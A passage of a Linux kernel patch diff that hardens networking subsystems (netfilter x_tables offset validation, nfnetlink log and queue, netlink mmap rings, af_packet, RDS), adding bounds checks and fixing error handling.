nf_conntrack_tuple)); + tuple->src.l3num = ntohs(nla_get_be16(tb[NFCTH_TUPLE_L3PROTONUM])); tuple->dst.protonum = nla_get_u8(tb[NFCTH_TUPLE_L4PROTONUM]); @@ -83,7 +86,7 @@ nfnl_cthelper_parse_tuple(struct nf_conntrack_tuple *tuple, static int nfnl_cthelper_from_nlattr(struct nlattr *attr, struct nf_conn *ct) { - const struct nf_conn_help *help = nfct_help(ct); + struct nf_conn_help *help = nfct_help(ct); if (attr == NULL) return -EINVAL; @@ -91,7 +94,7 @@ nfnl_cthelper_from_nlattr(struct nlattr *attr, struct nf_conn *ct) if (help->helper->data_len == 0) return -EINVAL; - memcpy(&help->data, nla_data(attr), help->helper->data_len); + memcpy(help->data, nla_data(attr), help->helper->data_len); return 0; } diff --git a/net/netfilter/nfnetlink_log.c b/net/netfilter/nfnetlink_log.c index 962e9792e3179..216261dd32aec 100644 --- a/net/netfilter/nfnetlink_log.c +++ b/net/netfilter/nfnetlink_log.c @@ -45,7 +45,8 @@ #define NFULNL_NLBUFSIZ_DEFAULT NLMSG_GOODSIZE #define NFULNL_TIMEOUT_DEFAULT 100 /* every second */ #define NFULNL_QTHRESH_DEFAULT 100 /* 100 packets */ -#define NFULNL_COPY_RANGE_MAX 0xFFFF /* max packet size is limited by 16-bit struct nfattr nfa_len field */ +/* max packet size is limited by 16-bit struct nfattr nfa_len field */ +#define NFULNL_COPY_RANGE_MAX (0xFFFF - NLA_HDRLEN) #define PRINTR(x, args...) do { if (net_ratelimit()) \ printk(x, ## args); } while (0); @@ -255,6 +256,8 @@ nfulnl_set_mode(struct nfulnl_instance *inst, u_int8_t mode, case NFULNL_COPY_PACKET: inst->copy_mode = mode; + if (range == 0) + range = NFULNL_COPY_RANGE_MAX; inst->copy_range = min_t(unsigned int, range, NFULNL_COPY_RANGE_MAX); break; @@ -345,26 +348,25 @@ nfulnl_alloc_skb(u32 peer_portid, unsigned int inst_size, unsigned int pkt_size) return skb; } -static int +static void __nfulnl_send(struct nfulnl_instance *inst) { - int status = -1; - if (inst->qlen > 1) { struct nlmsghdr *nlh = nlmsg_put(inst->skb, 0, 0, NLMSG_DONE, sizeof(struct nfgenmsg), 0); - if (!nlh) + if (WARN_ONCE(!nlh, "bad nlskb size: %u, tailroom %d\n", + inst->skb->len, skb_tailroom(inst->skb))) { + kfree_skb(inst->skb); goto out; + } } - status = nfnetlink_unicast(inst->skb, inst->net, inst->peer_portid, - MSG_DONTWAIT); - + nfnetlink_unicast(inst->skb, inst->net, inst->peer_portid, + MSG_DONTWAIT); +out: inst->qlen = 0; inst->skb = NULL; -out: - return status; } static void @@ -647,7 +649,8 @@ nfulnl_log_packet(struct net *net, + nla_total_size(sizeof(u_int32_t)) /* gid */ + nla_total_size(plen) /* prefix */ + nla_total_size(sizeof(struct nfulnl_msg_packet_hw)) - + nla_total_size(sizeof(struct nfulnl_msg_packet_timestamp)); + + nla_total_size(sizeof(struct nfulnl_msg_packet_timestamp)) + + nla_total_size(sizeof(struct nfgenmsg)); /* NLMSG_DONE */ if (in && skb_mac_header_was_set(skb)) { size += nla_total_size(skb->dev->hard_header_len) @@ -676,8 +679,7 @@ nfulnl_log_packet(struct net *net, break; case NFULNL_COPY_PACKET: - if (inst->copy_range == 0 - || inst->copy_range > skb->len) + if (inst->copy_range > skb->len) data_len = skb->len; else data_len = inst->copy_range; @@ -690,8 +692,7 @@ nfulnl_log_packet(struct net *net, goto unlock_and_release; } - if (inst->skb && - size > skb_tailroom(inst->skb) - sizeof(struct nfgenmsg)) { + if (inst->skb && size > skb_tailroom(inst->skb)) { /* either the queue len is too high or we don't have * enough room in the skb left. flush to userspace. */ __nfulnl_flush(inst); diff --git a/net/netfilter/nfnetlink_queue_core.c b/net/netfilter/nfnetlink_queue_core.c index 5352b2d2d5bf6..5497f50af2f03 100644 --- a/net/netfilter/nfnetlink_queue_core.c +++ b/net/netfilter/nfnetlink_queue_core.c @@ -227,22 +227,23 @@ nfqnl_flush(struct nfqnl_instance *queue, nfqnl_cmpfn cmpfn, unsigned long data) spin_unlock_bh(&queue->lock); } -static void -nfqnl_zcopy(struct sk_buff *to, const struct sk_buff *from, int len, int hlen) +static int +nfqnl_zcopy(struct sk_buff *to, struct sk_buff *from, int len, int hlen) { int i, j = 0; int plen = 0; /* length of skb->head fragment */ + int ret; struct page *page; unsigned int offset; /* dont bother with small payloads */ - if (len <= skb_tailroom(to)) { - skb_copy_bits(from, 0, skb_put(to, len), len); - return; - } + if (len <= skb_tailroom(to)) + return skb_copy_bits(from, 0, skb_put(to, len), len); if (hlen) { - skb_copy_bits(from, 0, skb_put(to, hlen), hlen); + ret = skb_copy_bits(from, 0, skb_put(to, hlen), hlen); + if (unlikely(ret)) + return ret; len -= hlen; } else { plen = min_t(int, skb_headlen(from), len); @@ -260,6 +261,11 @@ nfqnl_zcopy(struct sk_buff *to, const struct sk_buff *from, int len, int hlen) to->len += len + plen; to->data_len += len + plen; + if (unlikely(skb_orphan_frags(from, GFP_ATOMIC))) { + skb_tx_error(from); + return -ENOMEM; + } + for (i = 0; i < skb_shinfo(from)->nr_frags; i++) { if (!len) break; @@ -270,6 +276,8 @@ nfqnl_zcopy(struct sk_buff *to, const struct sk_buff *from, int len, int hlen) j++; } skb_shinfo(to)->nr_frags = j; + + return 0; } static int nfqnl_put_packet_info(struct sk_buff *nlskb, struct sk_buff *packet) @@ -355,13 +363,16 @@ nfqnl_build_packet_message(struct nfqnl_instance *queue, skb = nfnetlink_alloc_skb(&init_net, size, queue->peer_portid, GFP_ATOMIC); - if (!skb) + if (!skb) { + skb_tx_error(entskb); return NULL; + } nlh = nlmsg_put(skb, 0, 0, NFNL_SUBSYS_QUEUE << 8 | NFQNL_MSG_PACKET, sizeof(struct nfgenmsg), 0); if (!nlh) { + skb_tx_error(entskb); kfree_skb(skb); return NULL; } @@ -481,13 +492,15 @@ nfqnl_build_packet_message(struct nfqnl_instance *queue, nla->nla_type = NFQA_PAYLOAD; nla->nla_len = nla_attr_size(data_len); - nfqnl_zcopy(skb, entskb, data_len, hlen); + if (nfqnl_zcopy(skb, entskb, data_len, hlen)) + goto nla_put_failure; } nlh->nlmsg_len = skb->len; return skb; nla_put_failure: + skb_tx_error(entskb); kfree_skb(skb); net_err_ratelimited("nf_queue: error creating packet message\n"); return NULL; diff --git a/net/netfilter/x_tables.c b/net/netfilter/x_tables.c index 1ca125307ccf5..88d5b99a27522 100644 --- a/net/netfilter/x_tables.c +++ b/net/netfilter/x_tables.c @@ -435,6 +435,47 @@ int xt_check_match(struct xt_mtchk_param *par, } EXPORT_SYMBOL_GPL(xt_check_match); +/** xt_check_entry_match - check that matches end before start of target + * + * @match: beginning of xt_entry_match + * @target: beginning of this rules target (alleged end of matches) + * @alignment: alignment requirement of match structures + * + * Validates that all matches add up to the beginning of the target, + * and that each match covers at least the base structure size. + * + * Return: 0 on success, negative errno on failure. + */ +static int xt_check_entry_match(const char *match, const char *target, + const size_t alignment) +{ + const struct xt_entry_match *pos; + int length = target - match; + + if (length == 0) /* no matches */ + return 0; + + pos = (struct xt_entry_match *)match; + do { + if ((unsigned long)pos % alignment) + return -EINVAL; + + if (length < (int)sizeof(struct xt_entry_match)) + return -EINVAL; + + if (pos->u.match_size < sizeof(struct xt_entry_match)) + return -EINVAL; + + if (pos->u.match_size > length) + return -EINVAL; + + length -= pos->u.match_size; + pos = ((void *)((char *)(pos) + (pos)->u.match_size)); + } while (length > 0); + + return 0; +} + #ifdef CONFIG_COMPAT int xt_compat_add_offset(u_int8_t af, unsigned int offset, int delta) { @@ -504,13 +545,14 @@ int xt_compat_match_offset(const struct xt_match *match) } EXPORT_SYMBOL_GPL(xt_compat_match_offset); -int xt_compat_match_from_user(struct xt_entry_match *m, void **dstptr, - unsigned int *size) +void xt_compat_match_from_user(struct xt_entry_match *m, void **dstptr, + unsigned int *size) { const struct xt_match *match = m->u.kernel.match; struct compat_xt_entry_match *cm = (struct compat_xt_entry_match *)m; int pad, off = xt_compat_match_offset(match); u_int16_t msize = cm->u.user.match_size; + char name[sizeof(m->u.user.name)]; m = *dstptr; memcpy(m, cm, sizeof(*cm)); @@ -524,10 +566,12 @@ int xt_compat_match_from_user(struct xt_entry_match *m, void **dstptr, msize += off; m->u.user.match_size = msize; + strlcpy(name, match->name, sizeof(name)); + module_put(match->me); + strncpy(m->u.user.name, name, sizeof(m->u.user.name)); *size += off; *dstptr += msize; - return 0; } EXPORT_SYMBOL_GPL(xt_compat_match_from_user); @@ -558,8 +602,125 @@ int xt_compat_match_to_user(const struct xt_entry_match *m, return 0; } EXPORT_SYMBOL_GPL(xt_compat_match_to_user); + +/* non-compat version may have padding after verdict */ +struct compat_xt_standard_target { + struct compat_xt_entry_target t; + compat_uint_t verdict; +}; + +int xt_compat_check_entry_offsets(const void *base, const char *elems, + unsigned int target_offset, + unsigned int next_offset) +{ + long size_of_base_struct = elems - (const char *)base; + const struct compat_xt_entry_target *t; + const char *e = base; + + if (target_offset < size_of_base_struct) + return -EINVAL; + + if (target_offset + sizeof(*t) > next_offset) + return -EINVAL; + + t = (void *)(e + target_offset); + if (t->u.target_size < sizeof(*t)) + return -EINVAL; + + if (target_offset + t->u.target_size > next_offset) + return -EINVAL; + + if (strcmp(t->u.user.name, XT_STANDARD_TARGET) == 0 && + COMPAT_XT_ALIGN(target_offset + sizeof(struct compat_xt_standard_target)) != next_offset) + return -EINVAL; + + /* compat_xt_entry match has less strict aligment requirements, + * otherwise they are identical. In case of padding differences + * we need to add compat version of xt_check_entry_match. + */ + BUILD_BUG_ON(sizeof(struct compat_xt_entry_match) != sizeof(struct xt_entry_match)); + + return xt_check_entry_match(elems, base + target_offset, + __alignof__(struct compat_xt_entry_match)); +} +EXPORT_SYMBOL(xt_compat_check_entry_offsets); #endif /* CONFIG_COMPAT */ +/** + * xt_check_entry_offsets - validate arp/ip/ip6t_entry + * + * @base: pointer to arp/ip/ip6t_entry + * @elems: pointer to first xt_entry_match, i.e. ip(6)t_entry->elems + * @target_offset: the arp/ip/ip6_t->target_offset + * @next_offset: the arp/ip/ip6_t->next_offset + * + * validates that target_offset and next_offset are sane and that all + * match sizes (if any) align with the target offset. + * + * This function does not validate the targets or matches themselves, it + * only tests that all the offsets and sizes are correct, that all + * match structures are aligned, and that the last structure ends where + * the target structure begins. + * + * Also see xt_compat_check_entry_offsets for CONFIG_COMPAT version. + * + * The arp/ip/ip6t_entry structure @base must have passed following tests: + * - it must point to a valid memory location + * - base to base + next_offset must be accessible, i.e. not exceed allocated + * length. + * + * A well-formed entry looks like this: + * + * ip(6)t_entry match [mtdata] match [mtdata] target [tgdata] ip(6)t_entry + * e->elems[]-----' | | + * matchsize | | + * matchsize | | + * | | + * target_offset---------------------------------' | + * next_offset---------------------------------------------------' + * + * elems[]: flexible array member at end of ip(6)/arpt_entry struct. + * This is where matches (if any) and the target reside. + * target_offset: beginning of target. + * next_offset: start of the next rule; also: size of this rule. + * Since targets have a minimum size, target_offset + minlen <= next_offset. + * + * Every match stores its size, sum of sizes must not exceed target_offset. + * + * Return: 0 on success, negative errno on failure. + */ +int xt_check_entry_offsets(const void *base, + const char *elems, + unsigned int target_offset, + unsigned int next_offset) +{ + long size_of_base_struct = elems - (const char *)base; + const struct xt_entry_target *t; + const char *e = base; + + /* target start is within the ip/ip6/arpt_entry struct */ + if (target_offset < size_of_base_struct) + return -EINVAL; + + if (target_offset + sizeof(*t) > next_offset) + return -EINVAL; + + t = (void *)(e + target_offset); + if (t->u.target_size < sizeof(*t)) + return -EINVAL; + + if (target_offset + t->u.target_size > next_offset) + return -EINVAL; + + if (strcmp(t->u.user.name, XT_STANDARD_TARGET) == 0 && + XT_ALIGN(target_offset + sizeof(struct xt_standard_target)) != next_offset) + return -EINVAL; + + return xt_check_entry_match(elems, base + target_offset, + __alignof__(struct xt_entry_match)); +} +EXPORT_SYMBOL(xt_check_entry_offsets); + int xt_check_target(struct xt_tgchk_param *par, unsigned int size, u_int8_t proto, bool inv_proto) { @@ -610,6 +771,80 @@ int xt_check_target(struct xt_tgchk_param *par, } EXPORT_SYMBOL_GPL(xt_check_target); +/** + * xt_copy_counters_from_user - copy counters and metadata from userspace + * + * @user: src pointer to userspace memory + * @len: alleged size of userspace memory + * @info: where to store the xt_counters_info metadata + * @compat: true if we setsockopt call is done by 32bit task on 64bit kernel + * + * Copies counter meta data from @user and stores it in @info. + * + * vmallocs memory to hold the counters, then copies the counter data + * from @user to the new memory and returns a pointer to it. + * + * If @compat is true, @info gets converted automatically to the 64bit + * representation. + * + * The metadata associated with the counters is stored in @info. + * + * Return: returns pointer that caller has to test via IS_ERR(). + * If IS_ERR is false, caller has to vfree the pointer. + */ +void *xt_copy_counters_from_user(const void __user *user, unsigned int len, + struct xt_counters_info *info, bool compat) +{ + void *mem; + u64 size; + +#ifdef CONFIG_COMPAT + if (compat) { + /* structures only differ in size due to alignment */ + struct compat_xt_counters_info compat_tmp; + + if (len <= sizeof(compat_tmp)) + return ERR_PTR(-EINVAL); + + len -= sizeof(compat_tmp); + if (copy_from_user(&compat_tmp, user, sizeof(compat_tmp)) != 0) + return ERR_PTR(-EFAULT); + + strlcpy(info->name, compat_tmp.name, sizeof(info->name)); + info->num_counters = compat_tmp.num_counters; + user += sizeof(compat_tmp); + } else +#endif + { + if (len <= sizeof(*info)) + return ERR_PTR(-EINVAL); + + len -= sizeof(*info); + if (copy_from_user(info, user, sizeof(*info)) != 0) + return ERR_PTR(-EFAULT); + + info->name[sizeof(info->name) - 1] = '\0'; + user += sizeof(*info); + } + + size = sizeof(struct xt_counters); + size *= info->num_counters; + + if (size != (u64)len) + return ERR_PTR(-EINVAL); + + mem = vmalloc(len); + if (!mem) + return ERR_PTR(-ENOMEM); + + if (copy_from_user(mem, user, len) == 0) + return mem; + + vfree(mem); + return ERR_PTR(-EFAULT); +} +EXPORT_SYMBOL_GPL(xt_copy_counters_from_user); + #ifdef CONFIG_COMPAT int xt_compat_target_offset(const struct xt_target *target) { @@ -625,6 +860,7 @@ void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr, struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *)t; int pad, off = xt_compat_target_offset(target); u_int16_t tsize = ct->u.user.target_size; + char name[sizeof(t->u.user.name)]; t = *dstptr; memcpy(t, ct, sizeof(*ct)); @@ -638,6 +874,9 @@ void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr, tsize += off; t->u.user.target_size = tsize; + strlcpy(name, target->name, sizeof(name)); + module_put(target->me); + strncpy(t->u.user.name, name, sizeof(t->u.user.name)); *size += off; *dstptr += tsize; diff --git a/net/netlabel/netlabel_kapi.c b/net/netlabel/netlabel_kapi.c index 7c94aedd09127..5b1fbe45ff0bf 100644 --- a/net/netlabel/netlabel_kapi.c +++ b/net/netlabel/netlabel_kapi.c @@ -700,7 +700,11 @@ int netlbl_sock_setattr(struct sock *sk, */ void netlbl_sock_delattr(struct sock *sk) { - cipso_v4_sock_delattr(sk); + switch (sk->sk_family) { + case AF_INET: + cipso_v4_sock_delattr(sk); + break; + } } /** @@ -879,7 +883,11 @@ int netlbl_req_setattr(struct request_sock *req, */ void netlbl_req_delattr(struct request_sock *req) { - cipso_v4_req_delattr(req); + switch (req->rsk_ops->family) { + case AF_INET: + cipso_v4_req_delattr(req); + break; + } } /** diff --git a/net/netlink/af_netlink.c b/net/netlink/af_netlink.c index c38b79fe1f906..7b151e643b941 100644 --- a/net/netlink/af_netlink.c +++ b/net/netlink/af_netlink.c @@ -214,25 +214,52 @@ static void **alloc_pg_vec(struct netlink_sock *nlk, return NULL; } + +static void +__netlink_set_ring(struct sock *sk, struct nl_mmap_req *req, bool tx_ring, void **pg_vec, + unsigned int order) +{ + struct netlink_sock *nlk = nlk_sk(sk); + struct sk_buff_head *queue; + struct netlink_ring *ring; + + queue = tx_ring ? &sk->sk_write_queue : &sk->sk_receive_queue; + ring = tx_ring ? &nlk->tx_ring : &nlk->rx_ring; + + spin_lock_bh(&queue->lock); + + ring->frame_max = req->nm_frame_nr - 1; + ring->head = 0; + ring->frame_size = req->nm_frame_size; + ring->pg_vec_pages = req->nm_block_size / PAGE_SIZE; + + swap(ring->pg_vec_len, req->nm_block_nr); + swap(ring->pg_vec_order, order); + swap(ring->pg_vec, pg_vec); + + __skb_queue_purge(queue); + spin_unlock_bh(&queue->lock); + + WARN_ON(atomic_read(&nlk->mapped)); + + if (pg_vec) + free_pg_vec(pg_vec, order, req->nm_block_nr); +} + static int netlink_set_ring(struct sock *sk, struct nl_mmap_req *req, - bool closing, bool tx_ring) + bool tx_ring) { struct netlink_sock *nlk = nlk_sk(sk); struct netlink_ring *ring; - struct sk_buff_head *queue; void **pg_vec = NULL; unsigned int order = 0; - int err; ring = tx_ring ? &nlk->tx_ring : &nlk->rx_ring; - queue = tx_ring ? &sk->sk_write_queue : &sk->sk_receive_queue; - if (!closing) { - if (atomic_read(&nlk->mapped)) - return -EBUSY; - if (atomic_read(&ring->pending)) - return -EBUSY; - } + if (atomic_read(&nlk->mapped)) + return -EBUSY; + if (atomic_read(&ring->pending)) + return -EBUSY; if (req->nm_block_nr) { if (ring->pg_vec != NULL) @@ -264,31 +291,19 @@ static int netlink_set_ring(struct sock *sk, struct nl_mmap_req *req, return -EINVAL; } - err = -EBUSY; mutex_lock(&nlk->pg_vec_lock); - if (closing || atomic_read(&nlk->mapped) == 0) { - err = 0; - spin_lock_bh(&queue->lock); - - ring->frame_max = req->nm_frame_nr - 1; - ring->head = 0; - ring->frame_size = req->nm_frame_size; - ring->pg_vec_pages = req->nm_block_size / PAGE_SIZE; - - swap(ring->pg_vec_len, req->nm_block_nr); - swap(ring->pg_vec_order, order); - swap(ring->pg_vec, pg_vec); - - __skb_queue_purge(queue); - spin_unlock_bh(&queue->lock); - - WARN_ON(atomic_read(&nlk->mapped)); + if (atomic_read(&nlk->mapped) == 0) { + __netlink_set_ring(sk, req, tx_ring, pg_vec, order); + mutex_unlock(&nlk->pg_vec_lock); + return 0; } + mutex_unlock(&nlk->pg_vec_lock); if (pg_vec) free_pg_vec(pg_vec, order, req->nm_block_nr); - return err; + + return -EBUSY; } static void netlink_mm_open(struct vm_area_struct *vma) @@ -374,14 +389,14 @@ static int netlink_mmap(struct file *file, struct socket *sock, return err; } -static void netlink_frame_flush_dcache(const struct nl_mmap_hdr *hdr) +static void netlink_frame_flush_dcache(const struct nl_mmap_hdr *hdr, unsigned int nm_len) { #if ARCH_IMPLEMENTS_FLUSH_DCACHE_PAGE == 1 struct page *p_start, *p_end; /* First page is flushed through netlink_{get,set}_status */ p_start = pgvec_to_page(hdr + PAGE_SIZE); - p_end = pgvec_to_page((void *)hdr + NL_MMAP_HDRLEN + hdr->nm_len - 1); + p_end = pgvec_to_page((void *)hdr + NL_MMAP_HDRLEN + nm_len - 1); while (p_start <= p_end) { flush_dcache_page(p_start); p_start++; @@ -399,9 +414,9 @@ static enum nl_mmap_status netlink_get_status(const struct nl_mmap_hdr *hdr) static void netlink_set_status(struct nl_mmap_hdr *hdr, enum nl_mmap_status status) { + smp_mb(); hdr->nm_status = status; flush_dcache_page(pgvec_to_page(hdr)); - smp_wmb(); } static struct nl_mmap_hdr * @@ -500,7 +515,7 @@ static unsigned int netlink_poll(struct file *file, struct socket *sock, while (nlk->cb != NULL && netlink_dump_space(nlk)) { err = netlink_dump(sk); if (err < 0) { - sk->sk_err = err; + sk->sk_err = -err; sk->sk_error_report(sk); break; } @@ -563,24 +578,16 @@ static int netlink_mmap_sendmsg(struct sock *sk, struct msghdr *msg, struct nl_mmap_hdr *hdr; struct sk_buff *skb; unsigned int maxlen; - bool excl = true; int err = 0, len = 0; - /* Netlink messages are validated by the receiver before processing. - * In order to avoid userspace changing the contents of the message - * after validation, the socket and the ring may only be used by a - * single process, otherwise we fall back to copying. - */ - if (atomic_long_read(&sk->sk_socket->file->f_count) > 2 || - atomic_read(&nlk->mapped) > 1) - excl = false; - mutex_lock(&nlk->pg_vec_lock); ring = &nlk->tx_ring; maxlen = ring->frame_size - NL_MMAP_HDRLEN; do { + unsigned int nm_len; + hdr = netlink_current_frame(ring, NL_MMAP_STATUS_VALID); if (hdr == NULL) { if (!(msg->msg_flags & MSG_DONTWAIT) && @@ -588,35 +595,23 @@ static int netlink_mmap_sendmsg(struct sock *sk, struct msghdr *msg, schedule(); continue; } - if (hdr->nm_len > maxlen) { + + nm_len = ACCESS_ONCE(hdr->nm_len); + if (nm_len > maxlen) { err = -EINVAL; goto out; } - netlink_frame_flush_dcache(hdr); + netlink_frame_flush_dcache(hdr, nm_len); - if (likely(dst_portid == 0 && dst_group == 0 && excl)) { - skb = alloc_skb_head(GFP_KERNEL); - if (skb == NULL) { - err = -ENOBUFS; - goto out; - } - sock_hold(sk); - netlink_ring_setup_skb(skb, sk, ring, hdr); - NETLINK_CB(skb).flags |= NETLINK_SKB_TX; - __skb_put(skb, hdr->nm_len); - netlink_set_status(hdr, NL_MMAP_STATUS_RESERVED); - atomic_inc(&ring->pending); - } else { - skb = alloc_skb(hdr->nm_len, GFP_KERNEL); - if (skb == NULL) { - err = -ENOBUFS; - goto out; - } - __skb_put(skb, hdr->nm_len); - memcpy(skb->data, (void *)hdr + NL_MMAP_HDRLEN, hdr->nm_len); - netlink_set_status(hdr, NL_MMAP_STATUS_UNUSED); + skb = alloc_skb(nm_len, GFP_KERNEL); + if (skb == NULL) { + err = -ENOBUFS; + goto out; } + __skb_put(skb, nm_len); + memcpy(skb->data, (void *)hdr + NL_MMAP_HDRLEN, nm_len); + netlink_set_status(hdr, NL_MMAP_STATUS_UNUSED); netlink_increment_head(ring); @@ -662,7 +657,7 @@ static void netlink_queue_mmaped_skb(struct sock *sk, struct sk_buff *skb) hdr->nm_pid = NETLINK_CB(skb).creds.pid; hdr->nm_uid = from_kuid(sk_user_ns(sk), NETLINK_CB(skb).creds.uid); hdr->nm_gid = from_kgid(sk_user_ns(sk), NETLINK_CB(skb).creds.gid); - netlink_frame_flush_dcache(hdr); + netlink_frame_flush_dcache(hdr, hdr->nm_len); netlink_set_status(hdr, NL_MMAP_STATUS_VALID); NETLINK_CB(skb).flags |= NETLINK_SKB_DELIVERED; @@ -782,10 +777,10 @@ static void netlink_sock_destruct(struct sock *sk) memset(&req, 0, sizeof(req)); if (nlk->rx_ring.pg_vec) - netlink_set_ring(sk, &req, true, false); + __netlink_set_ring(sk, &req, false, NULL, 0); memset(&req, 0, sizeof(req)); if (nlk->tx_ring.pg_vec) - netlink_set_ring(sk, &req, true, true); + __netlink_set_ring(sk, &req, true, NULL, 0); } #endif /* CONFIG_NETLINK_MMAP */ @@ -2037,7 +2032,7 @@ static int netlink_setsockopt(struct socket *sock, int level, int optname, return -EINVAL; if (copy_from_user(&req, optval, sizeof(req))) return -EFAULT; - err = netlink_set_ring(sk, &req, false, + err = netlink_set_ring(sk, &req, optname == NETLINK_TX_RING); break; } @@ -2272,7 +2267,7 @@ static int netlink_recvmsg(struct kiocb *kiocb, struct socket *sock, if (nlk->cb && atomic_read(&sk->sk_rmem_alloc) <= sk->sk_rcvbuf / 2) { ret = netlink_dump(sk); if (ret) { - sk->sk_err = ret; + sk->sk_err = -ret; sk->sk_error_report(sk); } } diff --git a/net/openvswitch/actions.c b/net/openvswitch/actions.c index 894b6cbdd9295..c4779ca590322 100644 --- a/net/openvswitch/actions.c +++ b/net/openvswitch/actions.c @@ -40,6 +40,9 @@ static int do_execute_actions(struct datapath *dp, struct sk_buff *skb, static int make_writable(struct sk_buff *skb, int write_len) { + if (!pskb_may_pull(skb, write_len)) + return -ENOMEM; + if (!skb_cloned(skb) || skb_clone_writable(skb, write_len)) return 0; @@ -68,6 +71,8 @@ static int __pop_vlan_tci(struct sk_buff *skb, __be16 *current_tci) vlan_set_encap_proto(skb, vhdr); skb->mac_header += VLAN_HLEN; + if (skb_network_offset(skb) < ETH_HLEN) + skb_set_network_header(skb, ETH_HLEN); skb_reset_mac_len(skb); return 0; diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c index a788549f6f81c..90fe307c7fc53 100644 --- a/net/packet/af_packet.c +++ b/net/packet/af_packet.c @@ -565,6 +565,7 @@ static void init_prb_bdqc(struct packet_sock *po, p1->tov_in_jiffies = msecs_to_jiffies(p1->retire_blk_tov); p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv; + p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv); prb_init_ft_ops(p1, req_u); prb_setup_retire_blk_timer(po, tx_ring); prb_open_block(p1, pbd); @@ -1149,16 +1150,6 @@ static void packet_sock_destruct(struct sock *sk) sk_refcnt_debug_dec(sk); } -static int fanout_rr_next(struct packet_fanout *f, unsigned int num) -{ - int x = atomic_read(&f->rr_cur) + 1; - - if (x >= num) - x = 0; - - return x; -} - static unsigned int fanout_demux_hash(struct packet_fanout *f, struct sk_buff *skb, unsigned int num) @@ -1170,13 +1161,9 @@ static unsigned int fanout_demux_lb(struct packet_fanout *f, struct sk_buff *skb, unsigned int num) { - int cur, old; + unsigned int val = atomic_inc_return(&f->rr_cur); - cur = atomic_read(&f->rr_cur); - while ((old = atomic_cmpxchg(&f->rr_cur, cur, - fanout_rr_next(f, num))) != cur) - cur = old; - return cur; + return val % num; } static unsigned int fanout_demux_cpu(struct packet_fanout *f, @@ -1216,7 +1203,7 @@ static int packet_rcv_fanout(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt, struct net_device *orig_dev) { struct packet_fanout *f = pt->af_packet_priv; - unsigned int num = f->num_members; + unsigned int num = ACCESS_ONCE(f->num_members); struct packet_sock *po; unsigned int idx; @@ -1803,6 +1790,18 @@ static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev, if ((int)snaplen < 0) snaplen = 0; } + } else if (unlikely(macoff + snaplen > + GET_PBDQC_FROM_RB(&po->rx_ring)->max_frame_len)) { + u32 nval; + + nval = GET_PBDQC_FROM_RB(&po->rx_ring)->max_frame_len - macoff; + pr_err_once("tpacket_rcv: packet too big, clamped from %u to %u. macoff=%u\n", + snaplen, nval, macoff); + snaplen = nval; + if (unlikely((int)snaplen < 0)) { + snaplen = 0; + macoff = GET_PBDQC_FROM_RB(&po->rx_ring)->max_frame_len; + } } spin_lock(&sk->sk_receive_queue.lock); h.raw = packet_current_rx_frame(po, skb, @@ -2998,6 +2997,7 @@ static int packet_mc_add(struct sock *sk, struct packet_mreq_max *mreq) i->ifindex = mreq->mr_ifindex; i->alen = mreq->mr_alen; memcpy(i->addr, mreq->mr_address, i->alen); + memset(i->addr + i->alen, 0, sizeof(i->addr) - i->alen); i->count = 1; i->next = po->mclist; po->mclist = i; @@ -3642,6 +3642,10 @@ static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u, goto out; if (unlikely(req->tp_block_size & (PAGE_SIZE - 1))) goto out; + if (po->tp_version >= TPACKET_V3 && + (int)(req->tp_block_size - + BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0) + goto out; if (unlikely(req->tp_frame_size < po->tp_hdrlen + po->tp_reserve)) goto out; diff --git a/net/packet/internal.h b/net/packet/internal.h index 1035fa2d909c7..ca086c0c2c085 100644 --- a/net/packet/internal.h +++ b/net/packet/internal.h @@ -29,6 +29,7 @@ struct tpacket_kbdq_core { char *pkblk_start; char *pkblk_end; int kblk_size; + unsigned int max_frame_len; unsigned int knum_blocks; uint64_t knxt_seq_num; char *prev; diff --git a/net/phonet/af_phonet.c b/net/phonet/af_phonet.c index 5a940dbd74a3b..f0229223bf914 100644 --- a/net/phonet/af_phonet.c +++ b/net/phonet/af_phonet.c @@ -377,6 +377,10 @@ static int phonet_rcv(struct sk_buff *skb, struct net_device *dev, struct sockaddr_pn sa; u16 len; + skb = skb_share_check(skb, GFP_ATOMIC); + if (!skb) + return NET_RX_DROP; + /* check we have at least a full Phonet header */ if (!pskb_pull(skb, sizeof(struct phonethdr))) goto out; diff --git a/net/rds/ib_rdma.c b/net/rds/ib_rdma.c index e8fdb172adbb2..a985158d95d55 100644 --- a/net/rds/ib_rdma.c +++ b/net/rds/ib_rdma.c @@ -759,8 +759,10 @@ void *rds_ib_get_mr(struct scatterlist *sg, unsigned long nents, } ibmr = rds_ib_alloc_fmr(rds_ibdev); - if (IS_ERR(ibmr)) + if (IS_ERR(ibmr)) { + rds_ib_dev_put(rds_ibdev); return ibmr; + } ret = rds_ib_map_fmr(rds_ibdev, ibmr, sg, nents); if (ret == 0) diff --git a/net/rds/info.c b/net/rds/info.c index 9a6b4f66187cf..140a44a5f7b7f 100644 --- a/net/rds/info.c +++ b/net/rds/info.c @@ -176,7 +176,7 @@ int rds_info_getsockopt(struct socket *sock, int optname, char __user *optval, /* check for all kinds of wrapping and the like */ start = (unsigned long)optval; - if (len < 0 || len + PAGE_SIZE - 1 < len || start + len < start) { + if (len < 0 || len > INT_MAX - PAGE_SIZE + 1 || start + len < start) { ret = -EINVAL; goto out; } diff --git a/net/rds/iw_rdma.c b/net/rds/iw_rdma.c index a817705ce2d0e..dba8d0864f180 100644 --- a/net/rds/iw_rdma.c +++ b/net/rds/iw_rdma.c @@ -88,7 +88,9 @@ static unsigned int rds_iw_unmap_fastreg_list(struct rds_iw_mr_pool *pool, int *unpinned); static void rds_iw_destroy_fastreg(struct rds_iw_mr_pool *pool, struct rds_iw_mr *ibmr); -static int rds_iw_get_device(struct rds_sock *rs, struct rds_iw_device **rds_iwdev, struct rdma_cm_id **cm_id) +static int rds_iw_get_device(struct sockaddr_in *src, struct sockaddr_in *dst, + struct rds_iw_device **rds_iwdev, + struct rdma_cm_id **cm_id) { struct rds_iw_device *iwdev; struct rds_iw_cm_id *i_cm_id; @@ -112,15 +114,15 @@ static int 